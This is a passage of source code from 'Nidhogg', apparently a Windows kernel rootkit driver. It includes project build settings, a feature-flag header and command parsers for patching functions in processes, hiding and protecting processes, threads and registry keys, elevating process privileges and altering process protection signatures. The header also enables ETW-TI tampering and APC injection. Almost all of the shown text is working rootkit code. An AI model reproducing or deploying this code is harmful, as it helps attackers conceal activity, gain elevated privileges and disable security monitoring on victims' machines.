184 | pch.h 185 | true 186 | 187 | 188 | /INTEGRITYCHECK %(AdditionalOptions) 189 | 190 | 191 | %(AdditionalDependencies);$(KernelBufferOverflowLib);$(DDK_LIB_PATH)ntoskrnl.lib;$(DDK_LIB_PATH)hal.lib;$(DDK_LIB_PATH)FltMgr.lib 192 | DriverEntry 193 | 194 | 195 | false 196 | 197 | 198 | false 199 | 200 | 201 | false 202 | 203 | 204 | python.exe ..\\post_compilation_operation.py 205 | Executing post compilation operations 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237 | 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | Create 261 | Create 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | -------------------------------------------------------------------------------- /Nidhogg/Nidhogg.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Header Files 24 | 25 | 26 | Header Files 27 | 28 | 29 | Header Files 30 | 31 | 32 | Header Files 33 | 34 | 35 | Header Files 36 | 37 | 38 | Header Files 39 | 40 | 41 | Header Files 42 | 43 | 44 | Header Files 45 | 46 | 47 | Header Files 48 | 49 | 50 | Header Files 51 | 52 | 53 | Header Files 54 | 55 | 56 | Header Files 57 | 58 | 59 | Header Files 60 | 61 | 62 | Header Files 63 | 64 | 65 | Header Files 66 | 67 | 68 | Header Files 69 | 70 | 71 | Header Files 72 | 73 | 74 | Header Files 75 | 76 | 77 | Header Files 78 | 79 | 80 | Header Files 81 | 82 | 83 | Header Files 84 | 85 | 86 | Header Files 87 | 88 | 89 | Header Files 90 | 91 | 92 | Header Files 93 | 94 | 95 | Header Files 96 | 97 | 98 | Header Files 99 | 100 | 101 | Header Files 102 | 103 | 104 | Header Files 105 | 106 | 107 | Header Files 108 | 109 | 110 | Header Files 111 | 112 | 113 | Header Files 114 | 115 | 116 | 117 | 118 | Source Files 119 | 120 | 121 | Source Files 122 | 123 | 124 | Source Files 125 | 126 | 127 | Source Files 128 | 129 | 130 | Source Files 131 | 132 | 133 | Source Files 134 | 135 | 136 | Source Files 137 | 138 | 139 | Source Files 140 | 141 | 142 | Source Files 143 | 144 | 145 | Source Files 146 | 147 | 148 | Source Files 149 | 150 | 151 | Source Files 152 | 153 | 154 | Source Files 155 | 156 | 157 | Source Files 158 | 159 | 160 | Source Files 161 | 162 | 163 | Source Files 164 | 165 | 166 | Source Files 167 | 168 | 169 | Source Files 170 | 171 | 172 | Source Files 173 | 174 | 175 | Source Files 176 | 177 | 178 | Source Files 179 | 180 | 181 | Source Files 182 | 183 | 184 | Source Files 185 | 186 | 187 | -------------------------------------------------------------------------------- /Nidhogg/NidhoggCommon.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | 4 | // #define DRIVER_REFLECTIVELY_LOADED // Comment or uncomment it when you load the driver reflectively. 5 | #define PRINTS // Comment or uncomment for printing 6 | #define DRIVER_TAG 'hdiN' 7 | #define DRIVER_PREFIX "Nidhogg: " 8 | constexpr SIZE_T MAX_PATH = 260; 9 | 10 | #ifdef PRINTS 11 | typedef ULONG(NTAPI* tDbgPrint)(PCSTR Format, ...); 12 | constexpr tDbgPrint Print = DbgPrint; 13 | #else 14 | constexpr VOID Print(...) {}; 15 | #endif 16 | 17 | inline auto AlignAddress = [](ULONGLONG Address) -> ULONGLONG { 18 | ULONG remain = Address % 8; 19 | return remain != 0 ? Address + 8 - remain : Address; 20 | }; 21 | 22 | // Globals. 23 | inline PVOID RegistrationHandle = NULL; 24 | 25 | struct EnabledFeatures { 26 | bool DriverReflectivelyLoaded = false; 27 | bool FunctionPatching = true; 28 | bool ModuleHiding = true; 29 | bool WriteData = true; 30 | bool ReadData = true; 31 | bool RegistryFeatures = true; 32 | bool ProcessProtection = true; 33 | bool ThreadProtection = true; 34 | bool FileProtection = true; 35 | bool EtwTiTamper = true; 36 | bool ApcInjection = true; 37 | bool CreateThreadInjection = false; 38 | }; 39 | inline EnabledFeatures Features; 40 | -------------------------------------------------------------------------------- /Nidhogg/Parsers.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | #include "ProcessParser.h" 4 | #include "ThreadParser.h" 5 | #include "ModuleParser.h" 6 | #include "DriverParser.h" 7 | #include "FileParser.h" 8 | #include "RegistryParser.h" 9 | #include "PatchParser.h" 10 | #include "ShellcodeInjectionParser.h" 11 | #include "DllInjectionParser.h" 12 | #include "CallbacksParser.h" 13 | #include "EtwtiParser.h" 14 | #include "NetworkParser.h" 15 | -------------------------------------------------------------------------------- /Nidhogg/PatchParser.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "PatchParser.h" 3 | #include "MemoryUtils.hpp" 4 | #include "ProcessUtils.hpp" 5 | 6 | /* 7 | * Description: 8 | * Execute is responsible for executing a command and returning its value. 9 | * 10 | * Parameters: 11 | * @commandId [Options] -- Command to run. 12 | * @args [PVOID*] -- Array of args to send to the command. 13 | * 14 | * Returns: 15 | * @status [NTSTATUS] -- Result of the command. 16 | */ 17 | NTSTATUS PatchParser::Execute(Options commandId, PVOID args[MAX_ARGS]) { 18 | UNREFERENCED_PARAMETER(commandId); 19 | 20 | PatchedModule patchedModule{}; 21 | ANSI_STRING aModuleName = { 0 }; 22 | UNICODE_STRING wModuleName = { 0 }; 23 | NTSTATUS status = STATUS_SUCCESS; 24 | 25 | if (!Features.FunctionPatching) 26 | return STATUS_UNSUCCESSFUL; 27 | 28 | patchedModule.Pid = *(ULONG*)args[0]; 29 | 30 | if (!IsValidPid(patchedModule.Pid)) 31 | return STATUS_INVALID_PARAMETER; 32 | 33 | // Converting string to unicode. 34 | RtlInitAnsiString(&aModuleName, (PCHAR)args[1]); 35 | status = RtlAnsiStringToUnicodeString(&wModuleName, &aModuleName, TRUE); 36 | 37 | if (!NT_SUCCESS(status)) 38 | return status; 39 | 40 | patchedModule.ModuleName = wModuleName.Buffer; 41 | patchedModule.FunctionName = (PCHAR)args[2]; 42 | patchedModule.Patch = (PVOID)args[3]; 43 | patchedModule.PatchLength = *(ULONG*)args[4]; 44 | 45 | status = NidhoggMemoryUtils->PatchModule(&patchedModule); 46 | 47 | RtlFreeUnicodeString(&wModuleName); 48 | return status; 49 | } 50 | 51 | /* 52 | * Description: 53 | * ParseArgs is responsible for parsing the arguments. 54 | * 55 | * Parameters: 56 | * @data [PUCHAR] -- The raw script data. 57 | * @dataSize [size_t] -- Size if the raw script data. 58 | * @index [size_t] -- Index to start parsing the args and command from. 59 | * @argsNumber [USHORT] -- Number of arguments to run. 60 | * @commandId [Options*] -- The command id. 61 | * @outOffset [ULONG*] -- Output offset to shift the index by for the next command. 62 | * @OutArgs [PVOID*] -- Output arguments. 63 | * 64 | * Returns: 65 | * @status [NTSTATUS] -- Whether the args are parsed or error. 66 | */ 67 | NTSTATUS PatchParser::ParseArgs(PUCHAR data, size_t dataSize, size_t index, USHORT argsNumber, Options* commandId, 68 | ULONG* outOffset, PVOID OutArgs[MAX_ARGS]) { 69 | *commandId = Options::Invalid; 70 | ULONG addedOffset = 0; 71 | ULONG patchSize = 0; 72 | NTSTATUS status = STATUS_SUCCESS; 73 | 74 | if (!OutArgs) 75 | return STATUS_INVALID_PARAMETER; 76 | 77 | // Validating the opcode size. 78 | if (dataSize < index + 1) 79 | return STATUS_INVALID_BUFFER_SIZE; 80 | 81 | if (argsNumber != 4) 82 | return STATUS_INVALID_PARAMETER; 83 | 84 | // Check the option exists for the command type. 85 | auto CheckArg = [&](PUCHAR data, size_t dataSize, ULONG currentIndex, ArgType expectedType, 86 | USHORT argIndex, PVOID OutArgs[MAX_ARGS], ULONG* addedOffset, ULONG* size = NULL) { 87 | 88 | ULONG intArg = 0; 89 | 90 | if (dataSize < currentIndex) 91 | return STATUS_INVALID_BUFFER_SIZE; 92 | 93 | ULONG argSize = data[currentIndex]; 94 | 95 | // Validating the size. 96 | if (argSize > dataSize - currentIndex) 97 | return STATUS_INVALID_BUFFER_SIZE; 98 | 99 | if (size) 100 | *size = argSize; 101 | 102 | PVOID currentArg = AllocateMemory(argSize); 103 | 104 | if (!currentArg) 105 | return STATUS_INSUFFICIENT_RESOURCES; 106 | 107 | RtlZeroMemory(currentArg, argSize); 108 | 109 | __try { 110 | RtlCopyMemory(currentArg, &data[currentIndex + 1], argSize); 111 | } 112 | __except (EXCEPTION_EXECUTE_HANDLER) { 113 | ExFreePoolWithTag(currentArg, DRIVER_TAG); 114 | return STATUS_ABANDONED; 115 | } 116 | 117 | // Validating the type. 118 | switch (expectedType) { 119 | case ArgType::ULong: 120 | { 121 | for (DWORD j = 0, factor = pow(10, argSize - 1); j < argSize; j++, factor /= 10) { 122 | if (isdigit(((char*)currentArg)[j]) == 0) { 123 | status = STATUS_INVALID_PARAMETER; 124 | break; 125 | } 126 | intArg += convertDigit(((char*)currentArg)[j]) * factor; 127 | } 128 | *(ULONG*)currentArg = intArg; 129 | intArg = 0; 130 | break; 131 | } 132 | case ArgType::CharPtr: 133 | case ArgType::WCharPtr: 134 | { 135 | for (DWORD j = 0; j < argSize; j++) { 136 | if (!isChar(((char*)currentArg)[j])) { 137 | ExFreePoolWithTag(currentArg, DRIVER_TAG); 138 | return STATUS_INVALID_PARAMETER; 139 | } 140 | } 141 | break; 142 | } 143 | } 144 | 145 | OutArgs[argIndex] = currentArg; 146 | *addedOffset += argSize; 147 | return STATUS_SUCCESS; 148 | }; 149 | 150 | // Validating each argument. 151 | do { 152 | status = CheckArg(data, dataSize, (ULONG)index + addedOffset, ArgType::ULong, 0, OutArgs, &addedOffset); 153 | 154 | if (!NT_SUCCESS(status)) 155 | break; 156 | status = CheckArg(data, dataSize, (ULONG)index + addedOffset + 1, ArgType::WCharPtr, 1, OutArgs, &addedOffset); 157 | 158 | if (!NT_SUCCESS(status)) 159 | break; 160 | status = CheckArg(data, dataSize, (ULONG)index + addedOffset + 2, ArgType::CharPtr, 2, OutArgs, &addedOffset); 161 | 162 | if (!NT_SUCCESS(status)) 163 | break; 164 | status = CheckArg(data, dataSize, (ULONG)index + addedOffset + 3, ArgType::ULong, 3, OutArgs, &addedOffset, 165 | &patchSize); 166 | } while (false); 167 | 168 | // Adding the patch size to the args. 169 | OutArgs[MAX_ARGS - 1] = (PVOID)patchSize; 170 | 171 | if (!NT_SUCCESS(status)) { 172 | if (OutArgs) { 173 | for (USHORT i = 0; i < MAX_ARGS - 1; i++) { 174 | if (OutArgs[i]) 175 | ExFreePoolWithTag(OutArgs[i], DRIVER_TAG); 176 | } 177 | } 178 | } 179 | 180 | *outOffset += addedOffset; 181 | return status; 182 | } -------------------------------------------------------------------------------- /Nidhogg/PatchParser.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | #include "BaseParser.h" 4 | 5 | class PatchParser : public BaseParser 6 | { 7 | protected: 8 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override; 9 | NTSTATUS ParseArgs(PUCHAR data, size_t dataSize, size_t index, USHORT argsNumber, Options* commandId, 10 | ULONG* outOffset, PVOID OutArgs[MAX_ARGS]) override; 11 | 12 | public: 13 | PatchParser() { this->optionsSize = 0; } 14 | }; 15 | 16 | -------------------------------------------------------------------------------- /Nidhogg/ProcessParser.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "ProcessParser.h" 3 | #include "ProcessUtils.hpp" 4 | 5 | ProcessParser::ProcessParser() { 6 | this->optionsSize = 7; 7 | this->options = AllocateMemory(this->optionsSize * sizeof(OptionMetadata)); 8 | 9 | if (!this->options) 10 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES); 11 | 12 | this->options[0] = { Options::Add, { 1, { ArgType::ULong } } }; 13 | this->options[1] = { Options::Remove, { 1, { ArgType::ULong } } }; 14 | this->options[2] = { Options::Clear, { 0, {} } }; 15 | this->options[3] = { Options::Hide, { 1, { ArgType::ULong } } }; 16 | this->options[4] = { Options::Unhide, { 1, { ArgType::ULong } } }; 17 | this->options[5] = { Options::Elevate, { 1, { ArgType::ULong } } }; 18 | this->options[6] = { Options::Signature, { 3, { ArgType::ULong, ArgType::ULong, 19 | ArgType::ULong } } }; 20 | } 21 | 22 | /* 23 | * Description: 24 | * Execute is responsible for executing a command and returning its value. 25 | * 26 | * Parameters: 27 | * @commandId [Options] -- Command to run. 28 | * @args [PVOID*] -- Array of args to send to the command. 29 | * 30 | * Returns: 31 | * @status [NTSTATUS] -- Result of the command. 32 | */ 33 | NTSTATUS ProcessParser::Execute(Options commandId, PVOID args[MAX_ARGS]) { 34 | ProcessSignature signature{}; 35 | NTSTATUS status = STATUS_SUCCESS; 36 | ULONG pid = 0; 37 | 38 | if (commandId != Options::Clear) { 39 | pid = *(ULONG*)args[0]; 40 | 41 | if (!IsValidPid(pid)) 42 | return STATUS_INVALID_PARAMETER; 43 | } 44 | 45 | switch (commandId) { 46 | case Options::Add: 47 | { 48 | if (!Features.ProcessProtection) { 49 | status = STATUS_UNSUCCESSFUL; 50 | break; 51 | } 52 | 53 | if (NidhoggProccessUtils->GetProtectedProcessesCount() == MAX_PIDS) { 54 | status = STATUS_TOO_MANY_CONTEXT_IDS; 55 | break; 56 | } 57 | 58 | if (NidhoggProccessUtils->FindProcess(pid)) 59 | break; 60 | 61 | if (!NidhoggProccessUtils->AddProcess(pid)) 62 | status = STATUS_UNSUCCESSFUL; 63 | break; 64 | } 65 | case Options::Remove: 66 | { 67 | if (!Features.ProcessProtection) { 68 | status = STATUS_UNSUCCESSFUL; 69 | break; 70 | } 71 | 72 | if (NidhoggProccessUtils->GetProtectedProcessesCount() == 0) { 73 | status = STATUS_NOT_FOUND; 74 | break; 75 | } 76 | 77 | if (!NidhoggProccessUtils->RemoveProcess(pid)) 78 | status = STATUS_NOT_FOUND; 79 | 80 | break; 81 | } 82 | case Options::Clear: 83 | { 84 | NidhoggProccessUtils->ClearProtectedProcesses(); 85 | break; 86 | } 87 | case Options::Hide: 88 | { 89 | status = NidhoggProccessUtils->HideProcess(pid); 90 | break; 91 | } 92 | case Options::Unhide: 93 | { 94 | status = NidhoggProccessUtils->UnhideProcess(pid); 95 | break; 96 | } 97 | case Options::Elevate: 98 | { 99 | status = NidhoggProccessUtils->ElevateProcess(pid); 100 | break; 101 | } 102 | case Options::Signature: 103 | { 104 | signature.Pid = pid; 105 | signature.SignerType = *(UCHAR*)args[1]; 106 | signature.SignatureSigner = *(UCHAR*)args[2]; 107 | 108 | if ((signature.SignatureSigner < PsProtectedSignerNone || signature.SignatureSigner > PsProtectedSignerMax) || 109 | (signature.SignerType < PsProtectedTypeNone || signature.SignerType > PsProtectedTypeProtected)) { 110 | status = STATUS_INVALID_PARAMETER; 111 | break; 112 | } 113 | status = NidhoggProccessUtils->SetProcessSignature(&signature); 114 | break; 115 | } 116 | default: 117 | { 118 | status = STATUS_NOT_IMPLEMENTED; 119 | break; 120 | } 121 | } 122 | 123 | return status; 124 | } 125 | -------------------------------------------------------------------------------- /Nidhogg/ProcessParser.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | #include "BaseParser.h" 4 | 5 | class ProcessParser : public BaseParser 6 | { 7 | protected: 8 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override; 9 | 10 | public: 11 | ProcessParser(); 12 | }; 13 | 14 | -------------------------------------------------------------------------------- /Nidhogg/ProcessUtils.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | #include "MemoryHelper.hpp" 4 | 5 | extern "C" { 6 | #include "WindowsTypes.hpp" 7 | } 8 | #include "NidhoggCommon.h" 9 | 10 | // Definitions. 11 | constexpr SIZE_T MAX_PIDS = 256; 12 | constexpr SIZE_T MAX_TIDS = 256; 13 | constexpr SIZE_T SYSTEM_PROCESS_PID = 0x4; 14 | constexpr SIZE_T PROCESS_TERMINATE = 0x1; 15 | constexpr SIZE_T PROCESS_CREATE_THREAD = 0x2; 16 | constexpr SIZE_T PROCESS_VM_READ = 0x10; 17 | constexpr SIZE_T PROCESS_VM_OPERATION = 0x8; 18 | 19 | constexpr auto IsValidPid = [](ULONG pid) -> bool { 20 | return pid > 0 && pid != SYSTEM_PROCESS_PID; 21 | }; 22 | 23 | // Structs. 24 | struct OutputProtectedProcessesList { 25 | ULONG PidsCount; 26 | ULONG Processes[MAX_PIDS]; 27 | }; 28 | 29 | struct ProtectedProcessesList { 30 | FastMutex Lock; 31 | ULONG LastIndex; 32 | ULONG PidsCount; 33 | ULONG Processes[MAX_PIDS]; 34 | }; 35 | 36 | struct ProtectedProcess { 37 | ULONG Pid; 38 | bool Protect; 39 | }; 40 | 41 | struct HiddenProcess { 42 | ULONG Pid; 43 | bool Hide; 44 | }; 45 | 46 | struct HiddenProcessListItem { 47 | ULONG Pid; 48 | PLIST_ENTRY ListEntry; 49 | }; 50 | 51 | struct HiddenProcessList { 52 | FastMutex Lock; 53 | ULONG LastIndex; 54 | ULONG PidsCount; 55 | HiddenProcessListItem Processes[MAX_PIDS]; 56 | }; 57 | 58 | struct ProcessSignature { 59 | ULONG Pid; 60 | UCHAR SignerType; 61 | UCHAR SignatureSigner; 62 | }; 63 | 64 | struct ProtectedThread { 65 | ULONG Tid; 66 | bool Protect; 67 | }; 68 | 69 | struct OutputThreadsList { 70 | ULONG TidsCount; 71 | ULONG Threads[MAX_TIDS]; 72 | }; 73 | 74 | struct ThreadsList { 75 | FastMutex Lock; 76 | ULONG LastIndex; 77 | ULONG TidsCount; 78 | ULONG Threads[MAX_TIDS]; 79 | }; 80 | 81 | struct InputHiddenThread { 82 | ULONG Tid; 83 | bool Hide; 84 | }; 85 | 86 | struct HiddenThread { 87 | ULONG Pid; 88 | ULONG Tid; 89 | PLIST_ENTRY ListEntry; 90 | }; 91 | 92 | struct HiddenThreadsList { 93 | FastMutex Lock; 94 | ULONG LastIndex; 95 | ULONG TidsCount; 96 | HiddenThread HiddenThreads[MAX_TIDS]; 97 | }; 98 | 99 | class ProcessUtils { 100 | private: 101 | ThreadsList ProtectedThreads; 102 | HiddenThreadsList HiddenThreads; 103 | ProtectedProcessesList ProtectedProcesses; 104 | HiddenProcessList HiddenProcesses; 105 | 106 | bool AddHiddenProcess(PLIST_ENTRY entry, ULONG pid); 107 | PLIST_ENTRY GetHiddenProcess(ULONG pid); 108 | void ClearHiddenProcesses(); 109 | bool AddHiddenThread(HiddenThread thread); 110 | HiddenThread GetHiddenThread(ULONG tid); 111 | NTSTATUS UnhideThread(HiddenThread thread); 112 | void ClearHiddenThreads(); 113 | void RemoveListLinks(PLIST_ENTRY current); 114 | void AddListLinks(PLIST_ENTRY current, PLIST_ENTRY target); 115 | 116 | public: 117 | void* operator new(size_t size) { 118 | return AllocateMemory(size, false); 119 | } 120 | 121 | void operator delete(void* p) { 122 | if (p) 123 | ExFreePoolWithTag(p, DRIVER_TAG); 124 | } 125 | 126 | ProcessUtils(); 127 | ~ProcessUtils(); 128 | 129 | void ClearProtectedThreads(); 130 | bool FindThread(ULONG tid); 131 | bool AddThread(ULONG tid); 132 | bool RemoveThread(ULONG tid); 133 | void QueryProtectedThreads(OutputThreadsList* list); 134 | NTSTATUS HideThread(ULONG tid); 135 | NTSTATUS UnhideThread(ULONG tid); 136 | 137 | void ClearProtectedProcesses(); 138 | bool FindProcess(ULONG pid); 139 | bool AddProcess(ULONG pid); 140 | bool RemoveProcess(ULONG pid); 141 | void QueryProtectedProcesses(OutputProtectedProcessesList* list); 142 | NTSTATUS ElevateProcess(ULONG pid); 143 | NTSTATUS SetProcessSignature(ProcessSignature* ProcessSignature); 144 | NTSTATUS UnhideProcess(ULONG pid); 145 | NTSTATUS HideProcess(ULONG pid); 146 | 147 | NTSTATUS FindPidByName(const wchar_t* processName, ULONG* pid); 148 | ULONG GetProtectedProcessesCount() { return this->ProtectedProcesses.PidsCount; } 149 | ULONG GetProtectedThreadsCount() { return this->ProtectedThreads.TidsCount; } 150 | }; 151 | 152 | inline ProcessUtils* NidhoggProccessUtils; 153 | 154 | OB_PREOP_CALLBACK_STATUS OnPreOpenProcess(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION Info); 155 | OB_PREOP_CALLBACK_STATUS OnPreOpenThread(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION Info); 156 | -------------------------------------------------------------------------------- /Nidhogg/RegistryParser.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "RegistryParser.h" 3 | #include "RegistryUtils.hpp" 4 | 5 | RegistryParser::RegistryParser() { 6 | this->optionsSize = 5; 7 | this->options = AllocateMemory(this->optionsSize * sizeof(OptionMetadata)); 8 | 9 | if (!this->options) 10 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES); 11 | 12 | this->options[0] = { Options::Add, { 2, { ArgType::WCharPtr, ArgType::WCharPtr } } }; 13 | this->options[1] = { Options::Remove, { 2, { ArgType::WCharPtr, ArgType::WCharPtr } } }; 14 | this->options[2] = { Options::Clear, {} }; 15 | this->options[3] = { Options::Hide, { 2, { ArgType::WCharPtr, ArgType::WCharPtr } } }; 16 | this->options[4] = { Options::Unhide, { 2, { ArgType::WCharPtr, ArgType::WCharPtr } } }; 17 | } 18 | 19 | /* 20 | * Description: 21 | * Execute is responsible for executing a command and returning its value. 22 | * 23 | * Parameters: 24 | * @commandId [Options] -- Command to run. 25 | * @args [PVOID*] -- Array of args to send to the command. 26 | * 27 | * Returns: 28 | * @status [NTSTATUS] -- Result of the command. 29 | */ 30 | NTSTATUS RegistryParser::Execute(Options commandId, PVOID args[MAX_ARGS]) { 31 | RegItem regItem{}; 32 | ULONG itemsCount = 0; 33 | UNICODE_STRING wKeyName = { 0 }; 34 | UNICODE_STRING wValueName = { 0 }; 35 | NTSTATUS status = STATUS_SUCCESS; 36 | 37 | if (!Features.RegistryFeatures) 38 | return STATUS_UNSUCCESSFUL; 39 | 40 | auto AnsiToUnicode = [](PCHAR ansiString, PUNICODE_STRING unicodeString) -> NTSTATUS { 41 | ANSI_STRING aString = { 0 }; 42 | RtlInitAnsiString(&aString, ansiString); 43 | return RtlAnsiStringToUnicodeString(unicodeString, &aString, TRUE); 44 | }; 45 | 46 | if (args[0]) { 47 | if (strlen((PCHAR)args[0]) > REG_KEY_LEN) 48 | return STATUS_INVALID_BUFFER_SIZE; 49 | 50 | status = AnsiToUnicode((PCHAR)args[0], &wKeyName); 51 | 52 | if (!NT_SUCCESS(status)) 53 | return status; 54 | 55 | errno_t err = wcsncpy_s(regItem.KeyPath, wKeyName.Buffer, wKeyName.Length); 56 | 57 | if (err != 0) { 58 | RtlFreeUnicodeString(&wKeyName); 59 | return STATUS_INVALID_PARAMETER; 60 | } 61 | } 62 | 63 | if (args[1]) { 64 | if (strlen((PCHAR)args[1]) > REG_VALUE_LEN) { 65 | RtlFreeUnicodeString(&wKeyName); 66 | return STATUS_INVALID_BUFFER_SIZE; 67 | } 68 | 69 | status = AnsiToUnicode((PCHAR)args[0], &wValueName); 70 | 71 | if (!NT_SUCCESS(status)) { 72 | RtlFreeUnicodeString(&wKeyName); 73 | return status; 74 | } 75 | 76 | errno_t err = wcsncpy_s(regItem.ValueName, wValueName.Buffer, wValueName.Length); 77 | 78 | if (err != 0) { 79 | RtlFreeUnicodeString(&wKeyName); 80 | RtlFreeUnicodeString(&wValueName); 81 | return STATUS_INVALID_PARAMETER; 82 | } 83 | } 84 | 85 | switch (commandId) { 86 | case Options::Add: 87 | case Options::Hide: 88 | { 89 | if (commandId == Options::Add) { 90 | regItem.Type = regItem.ValueName ? RegProtectedValue : RegProtectedKey; 91 | itemsCount = regItem.Type == RegProtectedValue ? NidhoggRegistryUtils->GetProtectedValuesCount() : 92 | NidhoggRegistryUtils->GetProtectedKeysCount(); 93 | } 94 | else { 95 | regItem.Type = regItem.ValueName ? RegHiddenValue : RegHiddenKey; 96 | itemsCount = regItem.Type == RegProtectedValue ? NidhoggRegistryUtils->GetHiddenValuesCount() : 97 | NidhoggRegistryUtils->GetHiddenKeysCount(); 98 | } 99 | 100 | if (itemsCount == MAX_REG_ITEMS) { 101 | status = STATUS_TOO_MANY_CONTEXT_IDS; 102 | break; 103 | } 104 | 105 | if (!NidhoggRegistryUtils->FindRegItem(®Item)) { 106 | if (!NidhoggRegistryUtils->AddRegItem(®Item)) { 107 | status = STATUS_UNSUCCESSFUL; 108 | break; 109 | } 110 | } 111 | break; 112 | } 113 | case Options::Remove: 114 | case Options::Unhide: 115 | { 116 | if (commandId == Options::Remove) { 117 | regItem.Type = regItem.ValueName ? RegProtectedValue : RegProtectedKey; 118 | itemsCount = regItem.Type == RegProtectedValue ? NidhoggRegistryUtils->GetProtectedValuesCount() : 119 | NidhoggRegistryUtils->GetProtectedKeysCount(); 120 | } 121 | else { 122 | regItem.Type = regItem.ValueName ? RegHiddenValue : RegHiddenKey; 123 | itemsCount = regItem.Type == RegProtectedValue ? NidhoggRegistryUtils->GetHiddenValuesCount() : 124 | NidhoggRegistryUtils->GetHiddenKeysCount(); 125 | } 126 | 127 | if (itemsCount == 0) { 128 | status = STATUS_NOT_FOUND; 129 | break; 130 | } 131 | 132 | if (!NidhoggRegistryUtils->RemoveRegItem(®Item)) { 133 | status = STATUS_NOT_FOUND; 134 | break; 135 | } 136 | break; 137 | } 138 | case Options::Clear: 139 | { 140 | NidhoggRegistryUtils->ClearRegItems(); 141 | break; 142 | } 143 | default: 144 | { 145 | status = STATUS_NOT_IMPLEMENTED; 146 | break; 147 | } 148 | } 149 | 150 | if (regItem.KeyPath) 151 | RtlFreeUnicodeString(&wKeyName); 152 | if (regItem.ValueName) 153 | RtlFreeUnicodeString(&wValueName); 154 | 155 | return status; 156 | } 157 | -------------------------------------------------------------------------------- /Nidhogg/RegistryParser.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | #include "BaseParser.h" 4 | 5 | class RegistryParser : public BaseParser 6 | { 7 | protected: 8 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override; 9 | 10 | public: 11 | RegistryParser(); 12 | }; 13 | 14 | -------------------------------------------------------------------------------- /Nidhogg/RegistryUtils.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | #include "MemoryHelper.hpp" 4 | 5 | extern "C" { 6 | #include "WindowsTypes.hpp" 7 | #include "NidhoggCommon.h" 8 | } 9 | 10 | // Definitions. 11 | constexpr SIZE_T MAX_REG_ITEMS = 256; 12 | constexpr SIZE_T REG_VALUE_LEN = 260; 13 | constexpr SIZE_T REG_KEY_LEN = 255; 14 | 15 | enum RegItemType { 16 | RegProtectedKey = 0, 17 | RegProtectedValue = 1, 18 | RegHiddenKey = 2, 19 | RegHiddenValue = 3 20 | }; 21 | 22 | #define VALID_REG_TYPE(RegType)(RegType == RegProtectedKey || RegType == RegHiddenKey || RegType == RegProtectedValue || RegType == RegHiddenValue) 23 | 24 | // Structs 25 | struct RegItem { 26 | ULONG RegItemsIndex; 27 | RegItemType Type; 28 | WCHAR KeyPath[REG_KEY_LEN]; 29 | WCHAR ValueName[REG_VALUE_LEN]; 30 | }; 31 | 32 | struct RegKeys { 33 | FastMutex Lock; 34 | ULONG LastIndex; 35 | ULONG KeysCount; 36 | WCHAR* KeysPath[MAX_REG_ITEMS]; 37 | }; 38 | 39 | struct RegValues { 40 | FastMutex Lock; 41 | ULONG LastIndex; 42 | ULONG ValuesCount; 43 | WCHAR* ValuesPath[MAX_REG_ITEMS]; 44 | WCHAR* ValuesName[REG_VALUE_LEN]; 45 | }; 46 | 47 | struct RegItems { 48 | RegKeys Keys; 49 | RegValues Values; 50 | }; 51 | 52 | class RegistryUtils { 53 | private: 54 | RegItems ProtectedItems; 55 | RegItems HiddenItems; 56 | 57 | bool ContainsHiddenRegItem(UNICODE_STRING regKey, RegItemType type); 58 | bool GetNameFromKeyEnumPreInfo(KEY_INFORMATION_CLASS infoClass, PVOID information, PUNICODE_STRING keyName); 59 | bool GetNameFromValueEnumPreInfo(KEY_VALUE_INFORMATION_CLASS infoClass, PVOID information, PUNICODE_STRING keyName); 60 | 61 | public: 62 | LARGE_INTEGER RegCookie; 63 | 64 | void* operator new(size_t size) { 65 | return AllocateMemory(size, false); 66 | } 67 | 68 | void operator delete(void* p) { 69 | if (p) 70 | ExFreePoolWithTag(p, DRIVER_TAG); 71 | } 72 | 73 | RegistryUtils(); 74 | ~RegistryUtils(); 75 | 76 | bool FindRegItem(RegItem* item); 77 | bool AddRegItem(RegItem* item); 78 | bool RemoveRegItem(RegItem* item); 79 | void ClearRegItem(RegItemType regType); 80 | void ClearRegItems(); 81 | NTSTATUS QueryRegItem(RegItem* item); 82 | 83 | NTSTATUS RegNtPreDeleteKeyHandler(REG_DELETE_KEY_INFORMATION* info); 84 | NTSTATUS 